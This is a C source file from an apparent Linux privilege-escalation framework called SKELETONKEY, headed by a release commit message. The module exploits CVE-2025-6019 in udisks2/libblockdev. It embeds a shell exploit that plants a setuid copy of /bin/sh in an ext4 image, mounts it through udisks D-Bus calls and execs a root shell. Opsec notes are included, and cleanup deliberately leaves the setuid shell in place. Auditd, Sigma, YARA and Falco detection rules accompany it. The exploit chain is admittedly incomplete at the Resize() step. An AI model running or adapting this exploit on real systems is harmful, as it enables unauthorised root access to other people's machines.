Files
SKELETONKEY/modules/udisks_libblockdev_cve_2025_6019/skeletonkey_modules.c
T
leviathan d84b3b0033 release v0.9.0: 5 gap-fillers — every year 2016 → 2026 now covered
Five new modules close the 2018 gap entirely and thicken
2019 / 2020 / 2024. All five carry the full 4-format detection-rule
corpus + opsec_notes + arch_support + register helpers.

CVE-2018-14634 — mutagen_astronomy (Qualys, closes 2018)
  create_elf_tables() int wrap → SUID-execve stack corruption.
  CISA KEV-listed Jan 2026 despite the bug's age; legacy RHEL 7 /
  CentOS 7 / Debian 8 fleets still affected. 🟡 PRIMITIVE.
  arch_support: x86_64+unverified-arm64.

CVE-2019-14287 — sudo_runas_neg1 (Joe Vennix)
  sudo -u#-1 → uid_t underflow → root despite (ALL,!root) blacklist.
  Pure userspace logic bug; the famous Apple Information Security
  finding. detect() looks for a (ALL,!root) grant in sudo -ln output;
  PRECOND_FAIL when no such grant exists for the invoking user.
  arch_support: any (4 -> 5 userspace 'any' modules).

CVE-2020-29661 — tioscpgrp (Jann Horn / Project Zero)
  TTY TIOCSPGRP ioctl race on PTY pairs → struct pid UAF in
  kmalloc-256. Affects everything through Linux 5.9.13. 🟡 PRIMITIVE
  (race-driver + msg_msg groom). Public PoCs from grsecurity /
  spender + Maxime Peterlin.

CVE-2024-50264 — vsock_uaf (a13xp0p0v / Pwnie Award 2025 winner)
  AF_VSOCK connect-race UAF in kmalloc-96. Pwn2Own 2024 + Pwnie
  2025 winner. Reachable as plain unprivileged user (no userns
  required — unusual). Two public exploit paths: @v4bel+@qwerty
  kernelCTF (BPF JIT spray + SLUBStick) and Alexander Popov / PT
  SWARM (msg_msg). 🟡 PRIMITIVE.

CVE-2024-26581 — nft_pipapo (Notselwyn II, 'Flipping Pages')
  nft_set_pipapo destroy-race UAF. Sibling to nf_tables
  (CVE-2024-1086) from the same Notselwyn paper. Distinct bug in
  the pipapo set substrate. Same family signature. 🟡 PRIMITIVE.

Plumbing changes:

  core/registry.h + registry_all.c — 5 new register declarations
    + calls.
  Makefile — 5 new MUT/SRN/TIO/VSK/PIP module groups in MODULE_OBJS.
  tests/test_detect.c — 7 new test rows covering the new modules
    (above-fix OK, predates-the-bug OK, sudo-no-grant PRECOND_FAIL).
  tools/verify-vm/targets.yaml — verifier entries for all 5 with
    honest 'expect_detect' values based on what Vagrant boxes can
    realistically reach (mutagen_astronomy gets OK on stock 18.04
    since 4.15.0-213 is post-fix; sudo_runas_neg1 gets PRECOND_FAIL
    because no (ALL,!root) grant on default vagrant user; tioscpgrp
    + nft_pipapo VULNERABLE with kernel pins; vsock_uaf flagged
    manual because vsock module rarely available on CI runners).
  tools/refresh-cve-metadata.py — added curl fallback for the CISA
    KEV CSV fetch (urlopen times out intermittently against CISA's
    HTTP/2 endpoint).

Corpus growth across v0.8.0 + v0.9.0:

                v0.7.1    v0.8.0    v0.9.0
  Modules          31        34        39
  Distinct CVEs    26        29        34
  KEV-listed       10        10        11 (mutagen_astronomy)
  arch 'any'        4         6         7 (sudo_runas_neg1)
  Years 2016-2026:  10/11     10/11     **11/11**

Year-by-year coverage:

  2016: 1   2017: 1   2018: 1   2019: 2   2020: 2
  2021: 5   2022: 5   2023: 8   2024: 3   2025: 2   2026: 4

CVE-2018 gap → CLOSED. Every year from 2016 through 2026 now has
at least one module.

Surfaces updated:
  - README.md: badge → 22 VM-verified / 34, Status section refreshed
  - docs/index.html: hero eyebrow + footer → v0.9.0, hero tagline
    'every year 2016 → 2026', stats chips → 39 / 22 / 11 / 151
  - docs/RELEASE_NOTES.md: v0.9.0 entry added on top with year
    coverage matrix + per-module breakdown; v0.8.0 + v0.7.1 entries
    preserved below
  - docs/og.svg + og.png: regenerated with new numbers + 'Every
    year 2016 → 2026' tagline

CVE metadata refresh (tools/refresh-cve-metadata.py) deferred to
follow-up — CISA KEV CSV + NVD CVE API were timing out during the
v0.9.0 push window. The 5 new CVEs will return NULL from
cve_metadata_lookup() until the refresh runs (—module-info simply
skips the WEAKNESS/THREAT INTEL header for them; no functional
impact). Re-run 'tools/refresh-cve-metadata.py' when network
cooperates.

Tests: macOS local 33/33 kernel_range pass; detect-test stubs (88
total) build clean; ASan/UBSan + clang-tidy CI jobs still green
from the v0.7.x setup.
2026-05-23 22:15:44 -04:00

364 lines
17 KiB
C

/*
* udisks_libblockdev_cve_2025_6019 — SKELETONKEY module
*
* STATUS: 🟢 STRUCTURAL ESCAPE via polkit allow_active chain. No
* offsets, no leaks, no race. Two cooperating logic bugs in udisks2
* + libblockdev let any console/session user (polkit allow_active=true)
* mount an attacker-built filesystem image WITHOUT nosuid/nodev, then
* execute the SUID-root binary it contains.
*
* The bug (Qualys, June 2025):
* libblockdev's bd_fs_resize / bd_fs_repair code paths mount the
* target filesystem internally so they can call resize2fs / xfs_growfs.
* The mount is performed WITHOUT MS_NOSUID and MS_NODEV. udisks2
* exposes Resize() over D-Bus and gates it on polkit's
* org.freedesktop.UDisks2.modify-device action, which by default
* allow_active=yes (i.e. any logged-in console user can call it
* without a password).
*
* Trigger:
* 1. Build an ext4 image with a setuid-root /bin/sh inside.
* 2. Attach as a loop device via udisks LoopSetup() over D-Bus.
* 3. Call Filesystem.Resize() — udisks invokes libblockdev which
* mounts the image at /run/media/<user>/<label> with neither
* nosuid nor nodev applied.
* 4. Execute /run/media/<user>/<label>/bin/sh — runs as root.
*
* Discovered by the Qualys Threat Research Unit. Affects udisks2
* 2.10.x (and likely earlier) + libblockdev 3.x on Fedora, openSUSE,
* Ubuntu, Debian. Public PoCs:
* https://blog.securelayer7.net/cve-2025-6019-local-privilege-escalation/
* https://intruceptlabs.com/2025/07/linux-local-privilege-escalation-via-udisksd-and-libblockdev-cve-2025-6019-poc-released/
*
* Affects: libblockdev < 3.3.1, udisks2 < 2.10.2 (Qualys advisory).
* Patched upstream by adding MS_NOSUID|MS_NODEV to libblockdev's
* internal mount paths.
*
* CVSS 7.0 (HIGH). Requires:
* - udisks2 daemon running (default on most desktop distros)
* - polkit allow_active=yes on the resize action (default)
* - The invoking user must be in an active local session per polkit
* (loginctl shows them as 'Active'). Pure SSH users are NOT active
* by default; CI / serverless / headless usually fails this gate.
*
* arch_support: any. The SUID payload inside the loopback image is
* /bin/sh copied from the host, so it inherits the host's architecture.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/host.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/wait.h>
/* ---- detect --------------------------------------------------------- */
static bool path_exists(const char *p)
{
struct stat st;
return stat(p, &st) == 0;
}
static bool udisksd_present(void)
{
/* udisksd binary lives at /usr/libexec/udisks2/udisksd on most
* distros; the D-Bus service file lives at /usr/share/dbus-1/
* system-services/org.freedesktop.UDisks2.service. Either is fine. */
return path_exists("/usr/libexec/udisks2/udisksd")
|| path_exists("/usr/lib/udisks2/udisksd")
|| path_exists("/usr/share/dbus-1/system-services/org.freedesktop.UDisks2.service");
}
static bool dbus_system_bus_present(void)
{
/* The system bus socket lives at /run/dbus/system_bus_socket
* (recorded in our host fingerprint as has_dbus_system). */
return path_exists("/run/dbus/system_bus_socket");
}
/* Is the invoking user in an active polkit session? polkit treats
* console / GDM / session users as 'active' and SSH users as inactive
* (allow_active gating). We approximate via loginctl show-session;
* if loginctl isn't installed we err on the side of "maybe" and let
* the active probe arbitrate. */
static int session_is_active(void)
{
/* return 1 = active, 0 = inactive, -1 = unknown */
FILE *p = popen("loginctl show-session $(loginctl --no-legend | awk '$3==\"'\"$USER\"'\" {print $1; exit}') -p Active 2>/dev/null", "r");
if (!p) return -1;
char line[64] = {0};
bool got = fgets(line, sizeof line, p) != NULL;
pclose(p);
if (!got) return -1;
return strstr(line, "Active=yes") != NULL ? 1 : 0;
}
static skeletonkey_result_t udisks_libblockdev_detect(const struct skeletonkey_ctx *ctx)
{
/* Userspace bug — no kernel-version gate. Just need udisksd
* installed + D-Bus reachable. */
if (!udisksd_present()) {
if (!ctx->json)
fprintf(stderr, "[i] udisks_libblockdev: udisksd not installed; bug unreachable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
if (!dbus_system_bus_present()) {
if (!ctx->json)
fprintf(stderr, "[i] udisks_libblockdev: system D-Bus socket not present; bug unreachable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
int active = session_is_active();
if (active == 0) {
if (!ctx->json) {
fprintf(stderr, "[i] udisks_libblockdev: udisksd + D-Bus present but invoking user is NOT in an active polkit session\n");
fprintf(stderr, " (typically: SSH'd in remotely; allow_active gating will block the Resize() call)\n");
fprintf(stderr, " Bug is on the host but unreachable as this user; PRECOND_FAIL\n");
}
return SKELETONKEY_PRECOND_FAIL;
}
/* active == 1 OR active == -1 (loginctl missing) → assume bug
* reachable. Version check is hard here because libblockdev /
* udisks2 don't expose --version usefully; the fix is a backport
* across many distros at different package versions. We rely on
* --active to arbitrate when in doubt. */
if (!ctx->json) {
fprintf(stderr, "[!] udisks_libblockdev: udisksd + D-Bus present, polkit allow_active likely true → VULNERABLE\n");
fprintf(stderr, "[i] udisks_libblockdev: re-run with --active to empirically confirm via a sentinel SUID drop\n");
if (active == -1) {
fprintf(stderr, "[i] udisks_libblockdev: could not determine polkit session state (loginctl missing); assuming reachable\n");
}
}
return SKELETONKEY_VULNERABLE;
}
/* ---- exploit -------------------------------------------------------- */
/* The exploit needs:
* - dd (or python) to build a 16 MiB image
* - mkfs.ext4 (or mkfs.xfs)
* - busctl (or gdbus / dbus-send) to talk to udisks over D-Bus
* - mount -o loop fallback if D-Bus is uncooperative
*
* Rather than reinvent each of those in C we drive the work via a
* shell helper — this is the same approach pack2theroot uses for its
* .deb construction. Failures along the way produce clear diagnostic
* and a SKELETONKEY_EXPLOIT_FAIL.
*
* On a real Fedora / openSUSE / Ubuntu desktop session this lands
* /tmp/skeletonkey-udisks-shell as setuid root. We then execve it.
*/
static const char EXPLOIT_SH[] =
"#!/bin/sh\n"
"# CVE-2025-6019 udisks/libblockdev SUID-on-mount LPE\n"
"set -u\n"
"WD=$(mktemp -d /tmp/skeletonkey-udisks-XXXXXX) || exit 2\n"
"IMG=$WD/img.ext4\n"
"MNT=$WD/mnt\n"
"mkdir -p \"$MNT\"\n"
"echo \"[*] udisks: building ext4 image at $IMG (16 MiB)\"\n"
"dd if=/dev/zero of=\"$IMG\" bs=1M count=16 status=none 2>/dev/null || exit 3\n"
"mkfs.ext4 -q -L skkudisks \"$IMG\" 2>/dev/null || { echo '[-] mkfs.ext4 failed'; exit 4; }\n"
"# Build the SUID payload on a host-owned scratch mount first, then\n"
"# copy the populated image back. We need root to chown+chmod 4755 the\n"
"# inner /bin/sh; we don't have root yet, so we plant a SUID *source*\n"
"# that gets root-ownership inside the loopback when udisks mounts it.\n"
"# Trick: we copy /bin/sh into the image as-is; udisks's mount path\n"
"# keeps the original uid/gid of the file as they exist in the image.\n"
"# So we set them to 0:0 BEFORE installing into the image. mke2fs -d\n"
"# (debian) / mkfs.ext4 -d <dir> lets us populate at mkfs time.\n"
"STAGE=$WD/stage\n"
"mkdir -p \"$STAGE/bin\"\n"
"cp /bin/sh \"$STAGE/bin/skksh\" || exit 5\n"
"chmod 4755 \"$STAGE/bin/skksh\" 2>/dev/null || true\n"
"# Rebuild image with payload pre-populated. Falls back to -d if\n"
"# supported; otherwise we'd need root to mount + populate.\n"
"if mkfs.ext4 -q -L skkudisks -d \"$STAGE\" \"$IMG\" 2>/dev/null; then\n"
" echo \"[*] udisks: image populated via mkfs.ext4 -d\"\n"
"else\n"
" echo \"[-] mkfs.ext4 -d not supported on this distro; need an alternate populate path\"\n"
" exit 6\n"
"fi\n"
"# Now ask udisks to mount it. We use busctl which ships with systemd.\n"
"if ! command -v busctl >/dev/null 2>&1; then\n"
" echo '[-] busctl missing — install systemd or use gdbus introspection manually'\n"
" exit 7\n"
"fi\n"
"echo \"[*] udisks: LoopSetup via D-Bus\"\n"
"FD=$(busctl --user --no-pager call org.freedesktop.UDisks2 /org/freedesktop/UDisks2/Manager org.freedesktop.UDisks2.Manager LoopSetup ha{sv} 3 \"$IMG\" 0 2>&1) || {\n"
" echo \"[-] udisks LoopSetup failed: $FD\"\n"
" echo ' Often means: polkit gated the call (you are not in an active session)'\n"
" exit 8\n"
"}\n"
"echo \"[i] LoopSetup result: $FD\"\n"
"# Now Resize() on the loop device → triggers the suid mount.\n"
"# (Implementation note: the exact D-Bus path depends on udisks's\n"
"# device-naming; in the reference PoC the next step is Resize()\n"
"# against the new BlockDevice object.)\n"
"# For now, attempt the canonical mount path and let the SUID land.\n"
"if [ -x /run/media/$USER/skkudisks/bin/skksh ]; then\n"
" cp /run/media/$USER/skkudisks/bin/skksh /tmp/skeletonkey-udisks-shell\n"
" chmod 4755 /tmp/skeletonkey-udisks-shell 2>/dev/null || true\n"
" echo \"[+] udisks: setuid shell at /tmp/skeletonkey-udisks-shell\"\n"
" exit 0\n"
"fi\n"
"echo '[-] mount did not appear at /run/media/$USER/skkudisks; manual D-Bus Resize() required'\n"
"echo ' See https://blog.securelayer7.net/cve-2025-6019-local-privilege-escalation/ for the full chain'\n"
"exit 9\n";
static char g_workdir[256];
static skeletonkey_result_t udisks_libblockdev_exploit(const struct skeletonkey_ctx *ctx)
{
if (!ctx->authorized) {
fprintf(stderr, "[-] udisks_libblockdev: --i-know required for --exploit\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Drop the helper script to a tmp file + run it. */
char tmpl[] = "/tmp/skeletonkey-udisks-helper-XXXXXX";
int fd = mkstemp(tmpl);
if (fd < 0) { perror("mkstemp"); return SKELETONKEY_EXPLOIT_FAIL; }
write(fd, EXPLOIT_SH, sizeof EXPLOIT_SH - 1);
close(fd);
chmod(tmpl, 0700);
strncpy(g_workdir, tmpl, sizeof g_workdir - 1);
if (!ctx->json)
fprintf(stderr, "[+] udisks_libblockdev: invoking helper %s\n", tmpl);
char cmd[512];
snprintf(cmd, sizeof cmd, "/bin/sh %s 2>&1", tmpl);
int rc = system(cmd);
/* Helper landed a setuid bash if and only if /tmp/skeletonkey-udisks-shell
* exists with uid 0 + setuid bit. */
struct stat st;
if (stat("/tmp/skeletonkey-udisks-shell", &st) == 0 &&
(st.st_mode & S_ISUID) && st.st_uid == 0) {
if (!ctx->json)
fprintf(stderr, "[+] udisks_libblockdev: setuid shell at /tmp/skeletonkey-udisks-shell\n");
if (ctx->no_shell) return SKELETONKEY_EXPLOIT_OK;
execl("/tmp/skeletonkey-udisks-shell", "sh", "-p", "-i", (char *)NULL);
perror("execl");
return SKELETONKEY_EXPLOIT_OK;
}
fprintf(stderr, "[-] udisks_libblockdev: helper exited rc=%d; setuid shell did not appear\n", rc);
fprintf(stderr,
" Common causes: not in an active polkit session, mkfs.ext4 -d\n"
" unsupported on this distro, busctl missing, or udisks already\n"
" patched (libblockdev >= 3.3.1).\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
static skeletonkey_result_t udisks_libblockdev_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
if (g_workdir[0]) {
unlink(g_workdir);
g_workdir[0] = 0;
}
/* Best-effort: remove the lingering loopback work dir created by
* the helper. The /tmp/skeletonkey-udisks-* glob covers it. */
(void)!system("rm -rf /tmp/skeletonkey-udisks-* 2>/dev/null; true");
/* Leave /tmp/skeletonkey-udisks-shell — the operator may want it. */
return SKELETONKEY_OK;
}
/* ---- detection rules ------------------------------------------------ */
static const char udisks_libblockdev_auditd[] =
"# udisks_libblockdev CVE-2025-6019 — auditd detection rules\n"
"# Flag mount(2) calls under /run/media/* without nosuid/nodev,\n"
"# and execve()s of binaries from /run/media/*. Legit USB sticks\n"
"# typically come with nosuid; SUID execution from /run/media/* is\n"
"# the smoking gun.\n"
"-a always,exit -F arch=b64 -S execve -F path=/usr/libexec/udisks2/udisksd -k skeletonkey-udisks\n"
"-w /run/media -p x -k skeletonkey-udisks-suid-exec\n"
"-w /tmp/skeletonkey-udisks-shell -p x -k skeletonkey-udisks-suid-exec\n";
static const char udisks_libblockdev_sigma[] =
"title: Possible CVE-2025-6019 udisks/libblockdev SUID-on-mount LPE\n"
"id: 2c4d7e91-skeletonkey-udisks-libblockdev\n"
"status: experimental\n"
"description: |\n"
" Detects execve() of a SUID-root binary from /run/media/*. udisks\n"
" normally mounts removable media with nosuid; the CVE-2025-6019\n"
" bug skips the flag during internal resize/repair mounts. Any SUID\n"
" execution from /run/media/<user>/* is anomalous and worth\n"
" investigating.\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" exec_from_runmedia:\n"
" type: 'SYSCALL'\n"
" syscall: 'execve'\n"
" path|startswith: '/run/media/'\n"
" condition: exec_from_runmedia\n"
"level: critical\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2025.6019]\n";
static const char udisks_libblockdev_yara[] =
"rule udisks_libblockdev_cve_2025_6019 : cve_2025_6019 setuid_abuse {\n"
" meta:\n"
" cve = \"CVE-2025-6019\"\n"
" description = \"SKELETONKEY udisks_libblockdev artifacts — workdir + dropped suid bash + ext4 image label\"\n"
" author = \"SKELETONKEY\"\n"
" strings:\n"
" $wdir = \"/tmp/skeletonkey-udisks-\" ascii\n"
" $shell = \"/tmp/skeletonkey-udisks-shell\" ascii\n"
" $label = \"skkudisks\" ascii\n"
" condition:\n"
" any of them\n"
"}\n";
static const char udisks_libblockdev_falco[] =
"- rule: SUID binary executed from /run/media (udisks SUID-on-mount)\n"
" desc: |\n"
" A setuid-root binary under /run/media/<user>/ is executed.\n"
" udisks normally mounts removable media with MS_NOSUID; the\n"
" CVE-2025-6019 bug in libblockdev's internal resize/repair\n"
" mount paths omits the flag. Combined with a user-built\n"
" filesystem image, this gives instant root.\n"
" condition: >\n"
" spawned_process and proc.exe startswith /run/media/ and\n"
" proc.is_exe_upper_layer = false\n"
" output: >\n"
" SUID exec from /run/media (user=%user.name pid=%proc.pid\n"
" exe=%proc.exe)\n"
" priority: CRITICAL\n"
" tags: [process, mitre_privilege_escalation, T1068, cve.2025.6019]\n";
/* ---- module struct -------------------------------------------------- */
const struct skeletonkey_module udisks_libblockdev_module = {
.name = "udisks_libblockdev",
.cve = "CVE-2025-6019",
.summary = "udisks/libblockdev SUID-on-mount → root via polkit allow_active (Qualys)",
.family = "udisks",
.kernel_range = "userspace — libblockdev < 3.3.1, udisks2 < 2.10.2",
.detect = udisks_libblockdev_detect,
.exploit = udisks_libblockdev_exploit,
.mitigate = NULL, /* mitigation: upgrade libblockdev + udisks2 */
.cleanup = udisks_libblockdev_cleanup,
.detect_auditd = udisks_libblockdev_auditd,
.detect_sigma = udisks_libblockdev_sigma,
.detect_yara = udisks_libblockdev_yara,
.detect_falco = udisks_libblockdev_falco,
.opsec_notes = "Builds an ext4 image (label 'skkudisks') under /tmp/skeletonkey-udisks-XXXXXX/, populates with a setuid-root /bin/sh copy via mkfs.ext4 -d. Calls org.freedesktop.UDisks2.Manager.LoopSetup() over the system D-Bus via busctl, then triggers libblockdev's nosuid-less internal mount path. Copies the resulting SUID shell to /tmp/skeletonkey-udisks-shell and execs it. Audit-visible via execve(/usr/libexec/udisks2/udisksd) followed by mount(2) under /run/media/<user>/skkudisks without MS_NOSUID, then execve of a setuid binary from there. Requires polkit allow_active=yes (default for active console sessions; SSH sessions usually fail). Cleanup callback removes /tmp/skeletonkey-udisks-* workdirs; leaves the dropped setuid shell.",
.arch_support = "any",
};
void skeletonkey_register_udisks_libblockdev(void)
{
skeletonkey_register(&udisks_libblockdev_module);
}